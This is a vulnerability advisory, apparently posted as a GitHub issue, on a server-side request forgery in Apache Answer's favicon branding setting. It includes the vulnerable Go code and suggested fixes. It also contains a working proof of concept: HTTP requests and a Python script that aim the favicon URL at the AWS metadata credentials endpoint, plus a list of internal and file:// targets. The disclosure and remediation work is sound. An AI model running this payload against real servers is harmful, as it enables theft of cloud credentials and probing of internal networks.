-
Notifications
You must be signed in to change notification settings - Fork 0
Apache Answer - Server-Side Request Forgery (SSRF) via Branding Settings #11
Description
Product
Apache Answer
Vendor
Apache Software Foundation
Vendor Website
GitHub Repository
https://github.com/apache/answer
Affected Version
2.0.0 (and likely earlier versions)
Vulnerability Type
Server-Side Request Forgery (CWE-918)
CVSS Score
9.8 (Critical)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Description
A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Answer's branding settings. The GetPicByUrl function in pkg/htmltext/htmltext.go makes HTTP requests to arbitrary URLs without any validation. When an administrator sets the Favicon or SquareIcon branding settings to a malicious URL, the server will make requests to internal resources when users access /favicon.ico.
Vulnerable Code
File: pkg/htmltext/htmltext.go
Lines: 192-204
func GetPicByUrl(url string) string {
res, err := http.Get(url) // No URL validation!
if err != nil {
return ""
}
defer func() {
_ = res.Body.Close()
}()
pix, err := io.ReadAll(res.Body)
if err != nil {
return ""
}
return string(pix)
}File: internal/router/ui.go
Lines: 114-119
if branding != nil && branding.Favicon != "" {
c.String(http.StatusOK, htmltext.GetPicByUrl(branding.Favicon))
return
} else if branding != nil && branding.SquareIcon != "" {
c.String(http.StatusOK, htmltext.GetPicByUrl(branding.SquareIcon))
return
}Schema Validation (only checks length, not URL safety):
// internal/schema/siteinfo_schema.go:88-89
SquareIcon string `validate:"omitempty,gt=0,lte=512" form:"square_icon" json:"square_icon"`
Favicon string `validate:"omitempty,gt=0,lte=512" form:"favicon" json:"favicon"`Proof of Concept
Step 1: Login as Administrator
Step 2: Update Branding Settings
POST /answer/admin/api/site/branding HTTP/1.1
Host: target.com
Cookie: session=admin_session
Content-Type: application/json
{
"favicon": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}Step 3: Trigger SSRF
GET /favicon.ico HTTP/1.1
Host: target.comStep 4: Read Response
The response will contain AWS IAM credentials from the metadata service.
Python PoC
#!/usr/bin/env python3
import requests
target = "http://target.com"
session = {"session": "admin_session"}
# Set malicious favicon URL (AWS metadata)
data = {"favicon": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
r = requests.post(f"{target}/answer/admin/api/site/branding", json=data, cookies=session)
print(f"Branding updated: {r.status_code}")
# Trigger SSRF
r = requests.get(f"{target}/favicon.ico")
print(f"SSRF Response:\n{r.text}")Attack Vectors
-
AWS Metadata Access:
http://169.254.169.254/latest/meta-data/ -
GCP Metadata Access:
http://metadata.google.internal/computeMetadata/v1/ -
Internal Port Scanning:
http://localhost:22 http://localhost:3306 http://internal-server:8080 -
File Read (if file:// allowed):
file:///etc/passwd
Impact
- Access to internal network services
- Cloud metadata exposure (AWS/GCP/Azure credentials)
- Port scanning from trusted source
- Data exfiltration
- Potential remote code execution if internal services are vulnerable
Remediation
- Validate URL scheme: Only allow
httpandhttps - Block private IP ranges: Prevent requests to internal IPs
- Whitelist allowed domains: Only allow specific domains
- Use a proxy: Route requests through a secure proxy
func GetPicByUrl(urlStr string) string {
// Parse and validate URL
parsedURL, err := url.Parse(urlStr)
if err != nil {
return ""
}
// Only allow http/https
if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
return ""
}
// Resolve hostname and check for private IPs
host := parsedURL.Hostname()
ips, err := net.LookupIP(host)
if err != nil {
return ""
}
for _, ip := range ips {
if isPrivateIP(ip) {
return "" // Block private IPs
}
}
// Make request with timeout
client := &http.Client{Timeout: 5 * time.Second}
res, err := client.Get(urlStr)
// ...
}
func isPrivateIP(ip net.IP) bool {
privateRanges := []string{
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"127.0.0.0/8",
"169.254.0.0/16",
"::1/128",
"fc00::/7",
}
for _, cidr := range privateRanges {
_, network, _ := net.ParseCIDR(cidr)
if network.Contains(ip) {
return true
}
}
return false
}Credit
Security Researcher